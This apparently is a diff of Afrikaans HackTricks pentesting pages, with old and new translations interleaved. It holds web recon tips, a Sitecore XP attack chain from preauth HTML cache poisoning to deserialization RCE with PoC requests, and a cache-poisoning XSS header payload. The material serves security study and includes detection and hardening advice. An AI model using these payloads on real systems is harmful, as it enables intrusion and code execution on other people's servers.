- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Kontroleer die comments van al die files; jy kan **credentials** of **verborge funksionaliteit** vind.
- As jy 'n **CTF** speel, is 'n "algemene" truuk om inligting te **versteek** in comments regs op die bladsy (deur **honderde** spasies te gebruik sodat jy die data nie sien as jy die source met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n comment onderaan die webblad te verstop.
- **API keys**: As jy enige API key vind is daar gidse wat aan dui hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang kry.
- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige **subdomain** of skakel verband hou met 'n **S3 bucket**. In daardie geval, [**kontroleer** die **permissions** van die bucket](buckets/index.html).
- **Comments:** Kontroleer die comments van al die lêers; jy kan **credentials** of **versteekte funksionaliteit** vind.
- As jy 'n **CTF** speel, is 'n "algemene" truuk om **inligting** in comments regs op die **bladsy** te **versteek** (deur honderde spasies te gebruik sodat jy die data nie sien as jy die bronkode in die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie reëls op te neem en inligting in 'n comment onder aan die webblad te versteek.
- **API keys**: As jy enige API key vind, is daar 'n gids wat aandui hoe om API keys van verskeie platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: As jy 'n API key vind wat soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik lyk, kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang gee.
- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige subdomain of enige skakel met 'n S3 bucket verband hou. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
### Special findings
### Spesiale vondste
**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **bevindinge** teenkom wat julle moet opneem.
**Terwyl** jy die **spidering** en **brute-forcing** doen, kan jy **interessante** **items** vind wat jy moet **notuleer**.
**Interessante lêers**
- Soek na **skakels** na ander files binne die **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- As jy 'n _**.env**_ vind kan inligting soos api keys, dbs wagwoorde en ander inligting gevind word.
- As jy **API endpoints** vind, [moet jy hulle ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik soos lêers "voorkom".
- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om elke gevonden JS-lêer te **monitor**, aangesien 'n verandering soms kan aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
- Jy moet ook ontdekte JS files nagaan met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is.
- Kyk vir **links** na ander lêers binne die **CSS**-lêers.
- [As jy 'n _**.git**_ lêer vind, kan sekere inligting onttrek word](git.md)
- As jy 'n _**.env**_ vind, kan inligting soos api sleutels, db wagwoorde en ander inligting gevind word.
- As jy **API endpoints** vind, behoort jy [dit ook te toets](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk.
- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paadjies uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is te monitor**, aangesien 'n verandering soms aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
- Jy moet ook ontdekte JS-lêers kontroleer met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In verskeie gevalle sal jy die regular expressions moet verstaan wat gebruik word. Dit sal handig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
- Jy kan ook die files monitor waar vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In verskeie gevalle sal jy die regular expressions wat gebruik word moet verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
- Jy kan ook die lêers monitor waar vorms gedetekteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n aanduiding van 'n potensiële nuwe kwesbare funksionaliteit kan wees.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,38 +314,38 @@ _Let wel: enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
**502 Proxy Error**
As enige bladsy met daardie kode **reageer**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request soos stuur: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ **toegang te kry** en jy het 'n SSRF gevind.
As enige bladsy met daardie kode reageer, is dit waarskynlik 'n sleg gekonfigureerde proxy. **As jy 'n HTTP versoek stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te bereik en jy het 'n SSRF gevind.
**NTLM Authentication - Info disclosure**
As die bediener wat authentication vra **Windows** is of jy 'n login vind wat vir jou **credentials** vra (en vir **domain** **name** vra), kan jy 'n **inligtinglek** provoceer.\
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die "WWW-Authenticate" header reageer.\
Jy kan dit **outomatiseer** deur die **nmap plugin** "_http-ntlm-info.nse_" te gebruik.
As die bediener wat vir authentication vra 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vir 'n **domain** **name** vra), kan jy 'n **inligtingslek** veroorsaak.\
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe die **NTLM authentication** werk, sal die bediener met interne inligting (IIS version, Windows version...) binne die header "WWW-Authenticate" antwoord.\
Jy kan dit **outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Dit is moontlik om **inhoud** binne 'n **Redirection** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees.
Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees.
### Web Vulnerabilities Checking
### Kontrole van Web-kwesbaarhede
Nou dat 'n omvattende enumerasie van die web toepassing gedoen is, is dit tyd om vele moontlike kwesbaarhede te kontroleer. Jy kan die checklist hier vind:
Nou dat 'n omvattende enumerasie van die web-toepassing uitgevoer is, is dit tyd om vir 'n lang lys moontlike kwesbaarhede te toets. Jy kan die checklist hier kry:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Vind meer inligting oor web vulns in:
Vind meer inligting oor web vulns by:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Monitor Pages for changes
### Moniteer bladsye vir veranderinge
Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir modifikasies wat kwesbaarhede kan insluit.
Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat kwesbaarhede kan inbring.
### HackTricks Automatic Commands
### HackTricks Outomatiese Opdragte
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,194 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
Hierdie bladsy som 'n praktiese aanvalsketting op Sitecore XP 10.4.1 op wat oorskuif van 'n preauth XAML handler na HTML cache poisoning en, via 'n geauthentiseerde UIvloei, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore-weergawes/komponente en verskaf konkrete primitive om te toets, op te spoor en te versterk.
- Aangetaste produk (getoets): Sitecore XP 10.4.1 rev. 011628
- Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)
Sien ook:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
Ingangspunt is die preauth XAML handler wat in web.config geregistreer is:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Toeganklik via:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Die kontroleboom sluit AjaxScriptManager in, wat, by gebeurtenisversoeke, velde wat deur die aanvaller beheer word lees en reflektief metodes op geteikende kontroles aanroep:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Sleutelwaarneming: die XAML-bladsy bevat 'n XmlControl-instantie (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow-list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
Magiese metode vir poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl-metodes by naam kan aanroep, kry ons 'n preauth arbitrary HtmlCache write primitive.
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Aantekeninge:
- __SOURCE is die clientID van xmlcontrol:GlobalHeader binne Sitecore.Shell.Xaml.WebControl (gewoonlik stabiel soos ctl00_ctl00_ctl05_ctl03 aangesien dit afgelei is van statiese XAML).
- __PARAMETERS formaat is Method("arg1","arg2").
## Wat om te vergiftig: Cache-sleutel konstruksie
Tipiese HtmlCache sleutel-konstruksie wat deur Sitecore controls gebruik word:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Voorbeeld targeted poisoning vir 'n bekende sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Enumerering van cacheable components en “vary by” dimensies
As die ItemService anoniem (mis)blootgestel is, kan jy cacheable components opnoem om presiese sleutels af te lei.
Vinnige probe:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Lys van cachebare items en vlae:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Kyk na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Selfs wanneer ItemService 'n beperkte account naboots (bv. ServicesAPI) en returns an empty Results array, kan TotalCount steeds preACL Solr hits weerspieël. Jy kan bruteforce item groups/ids met wildcards doen en kyk hoe TotalCount konvergeer om interne inhoud en toestelle in kaart te bring:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Toeganklik via die convertToRuntimeHtml pipeline-stap ConvertWebControls, wat na 'n element met id {iframeId}_inner soek, dit base64 decodeer + deserialiseer en dan die resulterende string in die HTML invoeg:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Trigger (geauthentiseer, Content Editor-regte). Die FixHtml-dialoog roep convertToRuntimeHtml aan. Endtoend sonder UI-klikke:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base64 payload te produseer wat 'n string teruggee. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialiseringssideeffekte uitgevoer is.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Volledige ketting
1) Preauth aanvaller vergiftig HtmlCache met arbitraire HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.
2) Die vergiftigde HTML bedien JavaScript wat 'n geauthentiseerde Content Editorgebruiker deur die FixHtmlvloei aanspoor.
3) Die FixHtmlblad aktiveer convertToRuntimeHtml → ConvertWebControls, wat die deur die aanvaller beheerde base64 met BinaryFormatter deserialiseer → RCE onder die Sitecore app poolidentiteit.
## Opsporing
- Preauth XAML: versoeke na `/-/xaml/Sitecore.Shell.Xaml.WebControl` met `__ISEVENT=1`, verdagte `__SOURCE` en `__PARAMETERS=AddToCache(...)`.
- ItemServicesondeering: pieke van `/sitecore/api/ssc` wildcardnavrae, groot `TotalCount` met leë `Results`.
- Deserialiseringspogings: `EditHtml.aspx` gevolg deur `FixHtml.aspx?hdl=...` en abnormaal groot base64 in HTMLvelde.
## Verharding
- Pas Sitecorepatches KB1003667 en KB1003734 toe; beperk/deaktiveer preauth XAML handlers of voeg streng validering by; moniteer en beperk versoektempo na `/-/xaml/`.
- Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of handhaaf sterk bedienerkant validering van HTMLredigeer vloei.
- Beperk toegang tot `/sitecore/api/ssc` tot loopback of geauthentiseerde rolle; vermy impersonationpatrone wat leak `TotalCount`gebaseerde side channels.
- Handhaaf MFA/least privilege vir Content Editorgebruikers; hersien CSP om die impak van JSsturing deur cache poisoning te verminder.
## Verwysings
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Cache Poisoning en Cache Deception
# Cache Poisoning and Cache Deception
{{#include ../../banners/hacktricks-training.md}}
@ -6,107 +6,109 @@
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing skadelike inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
> - In **web cache deception**, die aanvaller laat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache terug.
## Cache Poisoning
Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die betrokke bladsy, aangesien die besmette antwoord eksklusief aan gebruikers wat die bladsy besoek tydens die periode van cache besoedeling bedien word.
Cache poisoning is gemik op die manipulasie van die client-side cache om kliënte te dwing om hulpbronne te laai wat onverwag, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers wat die bladsy besoek gedurende die tydperk van cache-besoedeling bedien word.
Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
Die uitvoering van 'n cache poisoning-aanval behels verskeie stappe:
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die betrokke bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.
1. **Identification of Unkeyed Inputs**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die reaksie wat deur die bediener teruggestuur word kan verander. Om hierdie insette te identifiseer is noodsaaklik aangesien hulle uitgebuit kan word om die cache te manipuleer.
2. **Exploitation of the Unkeyed Inputs**: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters misbruik te maak om die bediener se reaksie op 'n wyse te verander wat tot voordeel van die aanvaller is.
3. **Ensuring the Poisoned Response is Cached**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die cache gestoor word. Sodoende sal enige gebruiker wat die geraakte bladsy besoek terwyl die cache besoedel is, die besoedelde reaksie ontvang.
### Ontdekking: Kontroleer HTTP koptekste
### Ontdekking: Kontroleer HTTP headers
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteken wees wat dit aandui**, jy kan kyk watter koptekste jy op hierdie pos moet let: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Gewoonlik, wanneer 'n reaksie in die cache gestoor is, sal daar 'n **header aandui** dat dit so is; jy kan kyk na watter headers jy aandag moet gee in hierdie pos: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ontdekking: Cache foutkodes
### Ontdekking: Caching foutkoade
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteken te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
As jy dink dat die reaksie in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte header te stuur**, wat met 'n **statuskode 400** behoort te reageer. Probeer dan die versoek normaal benader en as die **reaksie 'n 400 statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
Jy kan meer opsies vind in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor word nie**, so hierdie toets mag nie betroubaar wees nie.
Let wel dat **soms hierdie tipes statuskodes nie in die cache gestoor word nie**, so hierdie toets dalk nie betroubaar is nie.
### Ontdekking: Identifiseer en evalueer ongekykte insette
### Ontdekking: Identifiseer en evalueer unkeyed inputs
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteken `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en headers te brute-force** wat moontlik die **reaksie van die bladsy verander**. Byvoorbeeld, 'n bladsy kan die header `X-Forwarded-For` gebruik om aan te dui dat die kliënt die script van daar moet laai:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Ontlok 'n skadelike reaksie van die agtergrondbediener
### Elicit a harmful response from the back-end server
Met die parameter/kop wat geïdentifiseer is, kyk hoe dit **skoon gemaak** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
Sodra die parameter/header geïdentifiseer is, kyk hoe dit **gesanitiseer** word en **waar** dit **weerspieël** of die response deur die header beïnvloed. Kan jy dit tog misbruik (uitvoer 'n XSS of 'n JS-kode wat jy beheer laai? 'n DoS uitvoer?...)
### Kry die reaksie in die cache
### Get the response cached
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangende van die hulpbron wat jy probeer om in die cache te kry, kan dit 'n rukkie neem, jy mag dalk vir verskeie sekondes moet probeer.
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer kry in die cache kan dit 'n rukkie neem; jy mag vir verskeie sekondes moet probeer.
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees, aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
Die header **`X-Cache`** in die response kan baie nuttig wees aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
Die header **`Cache-Control`** is ook interessant om te weet of 'n resource in die cache is en wanneer dit die volgende keer weer in die cache sal gaan: `Cache-Control: public, max-age=1800`
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die teiken slagoffer ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.
Nog 'n interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **aanvullende headers aan te dui** wat as **deel van die cache key** behandel word, selfs al is hulle normaalweg nie gekeyed nie. Daarom, as die gebruiker die `User-Agent` van die teiken ken, kan hy die cache vir gebruikers wat daardie spesifieke `User-Agent` gebruik, poison.
Een meer kop wat met die cache verband hou, is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy-cache was.
Nog 'n header wat met die cache verband hou is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy cache was.
Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.
Wanneer jy 'n versoek in die cache plaas, wees **versigtig met die headers wat jy gebruik** omdat sommige daarvan onverwags as **keyed** gebruik kan word en die **slagoffer dieselfde header sal moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende browsers** om te kyk of dit werk.
## Exploitering Voorbeelde
## Voorbeelde van uitbuiting
### Eenvoudigste voorbeeld
### Maklikste voorbeeld
'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang het, XSS sal ervaar:
'n header soos `X-Forwarded-For` word ongesanitiseerd in die response weerspieël.\
Jy kan 'n basiese XSS payload stuur en die cache poison sodat almal wat toegang tot die bladsy kry XSSed sal word:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note dat dit 'n versoek na `/en?region=uk` sal vergiftig en nie na `/en` nie_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
### Cache vergiftiging om DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Cache vergiftiging deur CDNs
